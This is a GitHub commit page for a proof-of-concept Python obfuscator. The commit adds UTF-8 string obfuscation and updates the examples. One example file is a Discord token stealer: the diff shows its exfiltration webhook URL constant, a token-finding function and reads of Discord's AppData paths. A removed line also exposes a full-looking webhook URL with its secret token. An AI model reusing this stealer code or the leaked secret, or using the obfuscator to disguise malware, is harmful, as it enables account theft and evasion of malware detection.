Skip to content

Commit

Permalink
Add UTF-8 based string obfuscation and uipdated examples
Browse files Browse the repository at this point in the history
  • Loading branch information
mad-cat-lon committed Aug 7, 2024
1 parent a45d438 commit bbcb15f
Show file tree
Hide file tree
Showing 8 changed files with 665 additions and 410 deletions.
6 changes: 4 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ Note that this is a proof-of-concept and a work in progress. You should not be u
## Features
- Basic variable, function, class and argument renaming
- Obfuscation of function return values with bytecode patching (Python versions <3.10 ONLY due to [PEP 659](https://peps.python.org/pep-0659/) changing how the interpreter works)
- String obfuscation with lambda expressions
- String obfuscation with lambda expressions and UTF8 encoding
- Dummy argument/variable insertion
- Basic obfuscation of calls to builtin functions with `getattr`, e.g `print` becomes `getattr(__builtins__, breakpoint.__name__[5]+StopAsyncIteration.__name__[12]+issubclass.__name__[0]+credits.__class__.__name__[4]+AssertionError.__name__[5])`
- Obfuscation of arithmetic/bitwise expressions to [linear mixed boolean arithmetic expressions](https://link.springer.com/chapter/10.1007/978-3-540-77535-5_5)
Expand All @@ -27,12 +27,14 @@ Note that this is a proof-of-concept and a work in progress. You should not be u
```
- Super basic insertion of [static opaque predicates](https://arxiv.org/pdf/1909.01640.pdf) into function bodies, reusing MBA functionality from before
- Comment removal
- Type hint removal


## Planned improvements
### Upcoming features
- ~Comment removal~
- Array transformation (and transformation of other data to arrays)
- Type hint removal
- ~Type hint removal~
- Polynomial MBA expressions and more advanced obfuscation rules (**coming soon**)
- Renaming class methods and attributes (**in progress**)
- Opaque predicates/expressions (**in progress**)
Expand Down
6 changes: 3 additions & 3 deletions examples/malware.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
from urllib.request import Request, urlopen

# your webhook URL
WEBHOOK_URL = 'https://discord.com/api/webhooks/1143740759867134023/SM6cWUvu4TkLy7CAxVigCH_YLA0mERaU7tRWPsWPbM3IoRoFziu3QzZNcxbfJ0yu4Z2l'
WEBHOOK_URL = 'https://discord.com/api/webhooks/example_key'

# mentions you when you get a hit
PING_ME = False
Expand All @@ -26,8 +26,8 @@ def find_tokens(path):
return tokens

def main():
local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
local = os.getenv('LOCALAPPDATA', "")
roaming = os.getenv('APPDATA', "")

paths = {
'Discord': roaming + '\\Discord',
Expand Down
601 changes: 274 additions & 327 deletions examples/obfus_example.py

Large diffs are not rendered by default.

139 changes: 65 additions & 74 deletions examples/obfus_malware.py

Large diffs are not rendered by default.

6 changes: 4 additions & 2 deletions jargonaut.py
Original file line number Diff line number Diff line change
Expand Up @@ -148,6 +148,8 @@ def main():
),
# Obfuscate builtin calls
data.HideBuiltinCalls(),
# Convert strings to UTF-8 encoded ints
data.StringToUTF8Int(),
# Transform integers to linear MBAs
data.ConstIntToLinearMBA(
n_terms_range=[5, 8],
Expand All @@ -156,7 +158,7 @@ def main():
# data.VirtualizeFuncs(
# targets=["square_list"],
# inference=do_inference
# ),
# )
# Replace string literals with lambda functions
data.StringToLambdaExpr(),
# Remove comments
Expand All @@ -167,7 +169,7 @@ def main():
layout.RandomizeNames(),
# Randomize methods and attributes
layout.RandomizeAttributes(),
# Remove annotations
# # Remove annotations
layout.RemoveAnnotations()

]
Expand Down
3 changes: 2 additions & 1 deletion jargonaut/transformations/data/__init__.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
from jargonaut.transformations.data.expr_mba import ExprToLinearMBA
from jargonaut.transformations.data.int_mba import ConstIntToLinearMBA
from jargonaut.transformations.data.lambda_string import StringToLambdaExpr
from jargonaut.transformations.data.hide_builtin_calls import HideBuiltinCalls
from jargonaut.transformations.data.hide_builtin_calls import HideBuiltinCalls
from jargonaut.transformations.data.utf8_string import StringToUTF8Int
2 changes: 1 addition & 1 deletion jargonaut/transformations/data/mba_utils.py
Original file line number Diff line number Diff line change
Expand Up @@ -166,7 +166,7 @@ def constant_to_mba(k, n_terms, as_obj=True):
# p(q(k)) == q(0 + p(k)) == q(zero_id_mba + p(k))

# we need to account for variable bit lengths in python
n = random.randint(k.bit_length() + 1, 100)
n = random.randint(k.bit_length() + 1, 1000)
coeffs = generate_invertible_affine(n)
# Let's build the expression now
# Make args random strings to prevent clashes
Expand Down
Loading

0 comments on commit bbcb15f

Please sign in to comment.